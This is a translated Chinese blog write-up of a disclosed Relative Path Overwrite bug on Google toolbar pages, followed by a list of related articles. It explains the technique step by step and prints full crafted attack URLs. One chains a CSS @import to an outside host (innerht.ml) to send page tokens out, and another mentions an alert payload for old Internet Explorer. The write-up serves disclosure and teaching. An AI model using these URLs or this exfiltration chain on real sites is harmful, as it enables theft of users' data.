RPO Gadgets

这篇文章并不是讲述Return Oriented Programming (ROP),误入的可以点右上角的红叉了。由于我想介绍的技术是Relative Path Overwrite (RPO)的进阶课程,如果没有基础的同学可以查看original introduction by Gareth 和 a real life RPO bug in phpBB by James.


Identifying RPO

目前我们可以知道的RPO利用例子是James的PRSSI ,它依赖于CSS解析器容忍在quirks mode中的非法语法(也称为松散解析),所以查找RPO漏洞的第一步就是检查页面的是否有正确的doctype。

我找到一个目标:
http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

<html>
<head>
<title>Google Toolbar API - Guide to Making Custom Buttons</title>
<link href="../../styles.css" rel="stylesheet" type="text/css" />
[..]

第二步涉及到服务器如何解析路径。对于浏览器来说,目录之间被“/”隔开。对于服务器来说,这并不意味着一定是目录,比如说JSP接收参数时会将“;”后的内容全部视为参数 (e.g. http://example.com/path;/notpath),这种情况下浏览器只会认为/patn;/notpath依旧是目录。

在目标中我找到可以利用RPO的地方,那里似乎有一个代理处理请求并解码路径中的内容,然后将其发送到真正的服务器。 这允许我们在路径中用%2f替换斜杠:

http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

Server:
/tools/toolbar/buttons/apis/ howto_guide.html
Browser:
/tools/toolbar/buttons/ apis%2fhowto_guide.html
Imported stylesheet:
/tools/ style.css
(加粗的表示为基本路径)

现在浏览器认为基本路径是/tools/toolbar/buttons/而不是/tools/toolbar/buttons/apis/,因此对../../style.css的引用会多跳一个目录。

我们还能伪造目录,比如我们想加载的css文件在/tools/fake/styles.css:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

Server:
/tools/ (fake/../抵消) toolbar/buttons/apis/ howto_guide.html
Browser:
/tools/fake/..%2ftoolbar/buttons/ apis%2fhowto_guide.html
Imported stylesheet:
/tools/fake/..%2ftoolbar/buttons/../../style.css

这里我们添加了二个虚拟目录:fake和..%2f,这样在server角度下就互相抵消了,然后浏览器认为fake和..%2ftoolbar为目录。理论上,我们可以在根目录下导入任何样式表(www.google.com/*/styles.css),不幸的是这个代理只能处理(www.google.com/tools/*/styles.css),不是tools目录中的css文件就无法导入。

除了按钮Gallery 外都是些静态元素,http://www.google.com/tools/toolbar/buttons/gallery会重定向到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1。
按钮Gallery有一个q参数,可以制作RPO的payload:http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}

效果如图所示:

现在要做的就是如何以CSS方式来加载该页面。一种方法就是重定向处理查询字符串,例如,http://www.google.com/tools/toolbar/buttons/gallery?foo=bar会将我们重定向到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&foo=bar, 查询的字符串会附加上。

最后一步就是构造查询字符串了:http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html

Server:
/tools/toolbar/buttons/ (gallery?q=%0a{}*{background:red}/../抵消) /apis/ howto_guide.html

Browser:
/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/ howto_guide.html

Imported stylesheet:
/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D /..%2f/apis/../../style.css

/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css

/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css

看成功了,满页面都是红色。我们还能使用expression(alert(document.domain)),在IE8可以成功弹窗,但是在IE9却失败了。那是因为谷歌的defense-in-depth防止按钮以css方式加载(X-Content-Type-Options:nosniff 选项来关闭IE的文档类型自动判断功能)。
突然间所有的努力都是徒劳的,因为Google漏洞奖励计划(VRP)规则清楚地表明:In particular, we exclude Internet Explorer prior to version 9


Chaining Gadgets

嗯,如果我们使用RPO窃取其他页面上的秘密呢? CSS的另一个有趣的事情是,在quirks mode下,只要它们在同一个起源,那么松散解析就适用于所有导入的样式表。这样就开启了一个新的可能性,因为我们可以使用Button Gallery作为小工具将https://www.google.com/*上的任何网页导入为样式表,如果导入的“样式表”包含隐私数据和注入点,我们可以 尝试通过注入CSS魔法来窃取它。

这样的页面要求是:

  • 注入点需要在隐私数据之前
  • 注入点需要允许%0a,%0c和%0d中的任何一个,以便可以从错误的状态恢复解析器状态
  • 隐私数据及其周围不能包含换行符

我花了些时间找到了符合的页面:http://www.google.com/search?nord=1&q={}%0a@import”//innerht.ml?

首先要注意的是,该页面针对速度进行了优化,因此HTML被压缩过,只有少数换行符。可以看到有一些随机生成的token。 我不知道他们代表什么,但是能够窃取他们应该足以证明这次攻击确实会渗透到数据中。截图中突出显示的部分是css魔术发生的地方:我们使用@import“// innerht.ml?创建import规则,然后直到双引号的所有内容将作为受控URL的一部分使用,最后浏览器会向import“URL”发出请求,我们就可以获取到数据内容。
http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D%2540import%2527%252Fsearch%253Fnord%253D1%2526q%253D%257B%257D%25250a%2540import%252527%252F%252Finnerht.ml%253F%2522/..%2f/apis/howto_guide.html

再次向google上报:

** NOTE: This is an automatically generated email **Hello,Thank you for reporting this bug. As part of Google's Vulnerability Reward Program, the panel has decided to issue a reward of $1337.

Conclusion

我相信这应该是在实践中首次成功执行的RPO攻击。 最重要的是,我希望这篇文章可以让您深入了解RPO如何在没有XSS的情况下工作,以及如何识别RPO漏洞。


翻译出处
http://blog.innerht.ml/rpo-gadgets/

CSS RPO Gadgets相关推荐

  1. XSS:RPO(Relative Path Overwrite)攻击

    0x00 具体原理参考: Infinite Security: (Relative Path Overwrite) RPO XSS RPO Gadgets RPO攻击 0x01 RPO攻击首先利用的是 ...

  2. 【Web安全笔记】之【4.0 常见漏洞攻防】

    文章目录 4.0 常见漏洞攻防 4.1 SQL注入 4.1.1 注入分类 1. 简介 2. 按技巧分类 1). 盲注 2). 报错注入 3). 堆叠注入 3. 按获取数据的方式分类 1). inban ...

  3. 【RPO技巧拓展】————5、RPO攻击初探

    RPO(Relative Path Overwrite) 攻击又称为 攻击,依赖于浏览器和网络服务器的反应,  利用服务器的Web缓存技术和配置差异. 本文中的例子利用css进行攻击,相当于利用页面中 ...

  4. RPO 相对路径覆盖攻击

    RPO (Relative Path Overwrite) 相对路径覆盖,最早由 Gareth Heyes 在其发表的文章中提出.主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技 ...

  5. 【RPO技巧拓展】————3、IIS和.Net应用程序中的非根相对路径覆盖(RPO)

    在这篇博文中,我将向您展示一种更好的方法来利用ASP.NET Web窗体应用程序中的非根相对路径覆盖问题.这是一个低风险漏洞,可用于将资源(如样式表)甚至动态JavaScript注入受影响的网页. 介 ...

  6. tailwind css_如何使用Tailwind CSS构建样式化的登陆页面

    tailwind css 介绍 (Introduction) Developers use Cascading Style Sheets (CSS) to style websites. But of ...

  7. mysql远程rpo为0_RPO攻击

    RPO攻击 最近见到几个题,了解到一种攻击方式,就是有RPO攻击 0x00概述 浏览器解析页面路径有误而导致css文件加载路径错误,从而引发的任意解析. 引子: 1.在php有些框架中会有些pathi ...

  8. 从Share your mind到RPO 攻击

    前言 强网杯初赛已经告一段落,大佬们的wp也逐渐放出,这篇博客就从强网杯初赛web的Share your mind这题来探讨一下RPO 攻击~ 前置链接: 题目名称:Share your mind 第 ...

  9. RPO攻击方式的探究

    什么是RPO? RPO (Relative Path Overwrite)相对路径覆盖,作为一种相对新型的攻击方式,由 Gareth Heyes在2014年首次提出,利用的是nginx服务器.配置错误 ...

最新文章

  1. “端午节” 送亲戚,送长辈,粽子可视化大屏来帮忙!
  2. 视频动态库测试及心得
  3. [react-router] React-Router 4的switch有什么用?
  4. 清华大学《操作系统》(二十二):文件系统
  5. python3基础知识一
  6. 数据库---查询操作
  7. SQL Server数据表提示NOLOCK和READPAST
  8. Vue.js刷新当前页面
  9. Javascript 也玩多线程
  10. linux 基础——常见命令及问题
  11. 《Effective C#》读书笔记——条目25:用事件模式实现通知使用C#表达设计
  12. 6-3 图片合成视频
  13. 思科模拟器GNS3将路由器变成交换机的方法
  14. 原生javascript分页 html分页与ajax数据请求结合使用 前端js分页
  15. 计算机添加usb网络打印机,路由器openWrt固件使用USB打印机设置电脑添加网络USB打印机方法...
  16. 互联网诞生记: 浪成于微澜之间
  17. centos 测试get请求_centos网站服务器简单性能测试命令
  18. python默认字体大小_如何设置PIL加载的默认字体的大小,使其适合我的8x8矩阵?...
  19. 计算机数学基础 周密,一位计算机牛人的心得谈计算机和数学免费.doc
  20. 通信之道-傅立叶分析

热门文章

  1. 计算数组中N个数的平均值(均为正数),将小于平均值的数放到数组前部,大于等于平均值的数放到数组后部。
  2. CC1310切换速率的办法
  3. 欧姆龙rxd指令讲解_欧姆龙指令表
  4. python无法输出有颜色的字体_Python通过2种方法输出带颜色字体
  5. 截至 2005年11月29日 CSDN 单独任命制度下的5星用户名单
  6. mac html制作,Mac下强大的网页制作软件
  7. 安卓与互联网连接之HTTTP请求
  8. python编写一个将十进制转换为二进制的函数
  9. sqlplus -prelim使用方法
  10. Kubernetes(k8s) pod 重启策略